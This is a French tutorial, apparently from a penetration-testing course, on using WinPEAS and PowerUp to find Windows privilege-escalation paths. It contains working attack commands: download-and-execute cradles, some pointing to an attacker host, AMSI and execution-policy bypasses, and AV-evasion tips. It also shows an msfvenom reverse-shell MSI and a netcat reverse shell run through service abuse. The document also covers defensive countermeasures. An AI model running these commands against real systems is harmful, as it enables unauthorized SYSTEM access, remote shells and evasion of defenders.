WinPEAS et PowerUp
Outils d'énumération automatisée qui trouvent des vecteurs d'élévation de privilèges en quelques secondes
Ce que vous allez découvrir
🎯 Pourquoi c'est important
L'énumération manuelle est approfondie mais chronophage. WinPEAS et PowerUp scannent des centaines de vecteurs d'élévation de privilèges en quelques secondes, vous donnant des chemins d'attaque immédiats. Ce sont les mêmes outils utilisés dans les tests d'intrusion professionnels et les opérations red team.
🔍 Ce que vous allez apprendre
- Comment déployer et exécuter WinPEAS sur les systèmes cibles
- Les fonctions de PowerUp.ps1 et leurs cas d'utilisation
- Interpréter les résultats de scan pour prioriser les chemins d'attaque
- Éviter la détection lors de l'exécution d'outils automatisés
🚀 Votre première victoire
Dans les 10 prochaines minutes, vous comprendrez comment exécuter WinPEAS et PowerUp, et comment interpréter leur sortie pour trouver des chemins d'élévation de privilèges exploitables.
🔧 Essayez maintenant
Téléchargez WinPEAS et examinez ses options d'aide :
# Télécharger WinPEAS (sur votre machine d'attaque)
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASx64.exe
# Transférer vers la cible et exécuter
.\winPEASx64.exe -h
.\winPEASx64.exe quiet
Vous verrez : Une sortie complète couvrant les infos système, privilèges utilisateur, services, tâches planifiées, réseau, et des centaines d'autres vérifications - le tout codé par couleur selon la sévérité.
Compétences que vous maîtriserez
✅ Compréhension fondamentale
- Exécution et interprétation de WinPEAS
- Structure et fonctions des modules PowerUp
- Sévérité codée par couleur dans les résultats
- Techniques d'évasion de base
🔍 Compétences expertes
- Scan sélectif pour éviter la détection
- Techniques d'exécution en mémoire
- Combinaison des résultats manuels et automatisés
- Scripts d'énumération personnalisés
Comprendre l'énumération automatisée
WinPEAS et PowerUp sont les outils standard de l'industrie pour l'énumération d'élévation de privilèges Windows. Ils automatisent des centaines de vérifications qui prendraient des heures à effectuer manuellement. Cependant, ils sont également bien connus des défenseurs, donc savoir les utiliser efficacement - et discrètement - est essentiel.
WinPEAS = Scan complet | PowerUp = Basé sur PowerShell, fonctions ciblées
Présentation de WinPEAS
WinPEAS (Windows Privilege Escalation Awesome Scripts) fait partie de la suite PEASS-ng. Il est disponible en exécutable ou script batch et scanne les mauvaises configurations sur l'ensemble du système :
# Exécuter le scan complet (par défaut)
.\winPEASx64.exe
# Exécuter le scan quiet (moins de sortie, plus rapide)
.\winPEASx64.exe quiet
# Exécuter uniquement des vérifications spécifiques
.\winPEASx64.exe servicesinfo
.\winPEASx64.exe userinfo
.\winPEASx64.exe systeminfo
# Rediriger la sortie vers un fichier (pour revue)
.\winPEASx64.exe > winpeas_output.txt
WinPEAS utilise un code couleur pour indiquer la sévérité :
ROUGE
Critique - privesc immédiat possible
JAUNE
Intéressant - à investiguer davantage
VERT
Informationnel
Présentation de PowerUp
PowerUp est un script PowerShell du framework PowerSploit. Contrairement au scan complet de WinPEAS, PowerUp fournit des fonctions individuelles que vous pouvez appeler selon vos besoins :
# Charger PowerUp
Import-Module .\PowerUp.ps1
# Exécuter toutes les vérifications
Invoke-AllChecks
# Ou exécuter depuis la mémoire (AMSI peut bloquer)
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1')
Invoke-AllChecks
Fonctions clés de PowerUp
PowerUp fournit des fonctions spécifiques pour l'énumération ciblée :
# Énumération des services
Get-UnquotedService # Trouver les chemins de service non quotés
Get-ModifiableServiceFile # Services avec binaires inscriptibles
Get-ModifiableService # Services que nous pouvons reconfigurer
# Vérifications du registre
Get-RegistryAlwaysInstallElevated # Vérifier AlwaysInstallElevated
Get-RegistryAutoLogon # Trouver les credentials autologon
# Tâches planifiées et démarrage
Get-ModifiableScheduledTaskFile # Binaires de tâches planifiées inscriptibles
# Fonctions d'exploitation
Write-ServiceBinary # Remplacer un binaire de service
Install-ServiceBinary # Installer un nouveau service
Invoke-ServiceAbuse # Abuser d'un service modifiable
Outils et techniques
Utilisation détaillée de WinPEAS
WinPEAS accepte des paramètres pour se concentrer sur des domaines spécifiques :
# Modules de scan disponibles
.\winPEASx64.exe systeminfo # Informations système de base
.\winPEASx64.exe userinfo # Informations utilisateur et groupe
.\winPEASx64.exe processinfo # Processus en cours
.\winPEASx64.exe servicesinfo # Services Windows
.\winPEASx64.exe applicationsinfo # Applications installées
.\winPEASx64.exe networkinfo # Configuration réseau
.\winPEASx64.exe windowscreds # Chasse aux credentials
.\winPEASx64.exe browserinfo # Credentials enregistrés du navigateur
.\winPEASx64.exe filesinfo # Fichiers intéressants
.\winPEASx64.exe eventsinfo # Événements de sécurité
# Combiner les modules
.\winPEASx64.exe servicesinfo windowscreds
Techniques d'évasion
Les deux outils sont fortement signaturés. Voici comment réduire la détection :
# Utiliser la version .bat de WinPEAS (moins détectée)
.\winPEAS.bat
# Exécution obfusquée de PowerUp
$text = (New-Object Net.WebClient).DownloadString('https://<attacker>/PowerUp.ps1')
IEX $text
# Contourner AMSI pour PowerShell (diverses techniques)
# Note : Les bypasses AMSI changent fréquemment car Microsoft les patche
# Utiliser Invoke-Obfuscation sur PowerUp avant déploiement
# https://github.com/danielbohannon/Invoke-Obfuscation
# Exécuter WinPEAS depuis la mémoire avec un loader
# Embarquer dans un loader C# ou utiliser la réflexion
Outils alternatifs
Quand WinPEAS et PowerUp sont bloqués, des alternatives existent :
- Seatbelt - Outil C# pour survey d'hôte, moins détecté que WinPEAS
- PrivescCheck - Script privesc PowerShell, alternative à PowerUp
- JAWS - Just Another Windows (Enum) Script, basé sur PowerShell
- winPEASps1 - Version PowerShell de WinPEAS
Scénarios d'attaque réels
🔴 Scénario : WinPEAS révèle AlwaysInstallElevated
La sortie de WinPEAS montre qu'AlwaysInstallElevated est activé dans HKLM et HKCU. Cela signifie que tout package .msi s'installera avec les privilèges SYSTEM. Générez un MSI malveillant avec msfvenom et exécutez-le pour obtenir SYSTEM instantanément.
# Sur la machine attaquante
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker> LPORT=443 -f msi -o shell.msi
# Sur la cible
msiexec /quiet /qn /i \\<attacker>\share\shell.msi
🟠 Scénario : PowerUp identifie un service modifiable
Get-ModifiableService révèle un service personnalisé s'exécutant en tant que LocalSystem où votre utilisateur a les droits SERVICE_CHANGE_CONFIG. Utilisez Invoke-ServiceAbuse pour reconfigurer le service et exécuter des commandes arbitraires.
# Abuser du service pour ajouter un utilisateur aux admins locaux
Invoke-ServiceAbuse -Name 'VulnerableService' -UserName 'hdna' -Password 'Password123!'
# Ou exécuter un reverse shell
Invoke-ServiceAbuse -Name 'VulnerableService' -Command "C:\temp\nc.exe -e cmd.exe <attacker> 443"
💡 Conseil d'expert
Ne faites pas confiance aveuglément aux outils automatisés. Ils peuvent produire des faux positifs et manquer des vulnérabilités dépendantes du contexte. Utilisez-les comme point de départ, puis validez les découvertes manuellement. La meilleure approche combine le scan automatisé pour la couverture avec l'investigation manuelle pour la profondeur.
Contre-mesures défensives
Détection endpoint
- Déployer des solutions EDR qui détectent WinPEAS, PowerUp et outils similaires
- Activer la journalisation ScriptBlock PowerShell pour capturer les scripts malveillants
- Surveiller les patterns de commandes d'énumération connues
- Alerter sur l'accès aux clés de registre et fichiers sensibles
Contrôle des applications
- Implémenter le whitelisting d'applications avec Windows Defender Application Control
- Bloquer l'exécution depuis les répertoires inscriptibles (%TEMP%, Downloads)
- Restreindre PowerShell au mode Constrained Language
- Désactiver les moteurs de script inutiles
Durcissement proactif
- Exécuter WinPEAS et PowerUp sur vos propres systèmes pendant les évaluations de sécurité
- Corriger les mauvaises configurations avant que les attaquants ne les trouvent
- Scan de vulnérabilités régulier et gestion des correctifs
- Implémenter le principe du moindre privilège sur tous les services et comptes
Questions fréquemment posées
WinPEAS est détecté par l'AV. Que dois-je faire ?
Essayez la version .bat qui est moins signaturée, utilisez les versions obfusquées des releases PEASS-ng, ou envisagez des outils alternatifs comme Seatbelt ou PrivescCheck. Vous pouvez également compiler WinPEAS vous-même avec des modifications pour éviter les signatures.
PowerUp échoue avec "cannot be loaded because running scripts is disabled." Et maintenant ?
C'est la politique d'exécution de PowerShell. Contournez-la avec : powershell -ep bypass -c "IEX(Get-Content .\PowerUp.ps1 -Raw); Invoke-AllChecks" ou utilisez le download cradle pour exécuter depuis la mémoire.
Quel outil dois-je exécuter en premier - WinPEAS ou PowerUp ?
WinPEAS pour une couverture complète, PowerUp quand vous voulez des vérifications ciblées ou avez besoin de fonctions d'exploitation. En pratique, exécutez WinPEAS pour l'énumération et ayez PowerUp prêt pour l'exploitation quand vous trouvez un vecteur.
🎯 Énumération automatisée - Équipé !
Vous savez maintenant comment utiliser WinPEAS et PowerUp pour identifier rapidement les vecteurs d'élévation de privilèges. Combiné avec l'énumération manuelle, vous avez une couverture complète de n'importe quel système Windows.
Prêt à exploiter les mauvaises configurations de services →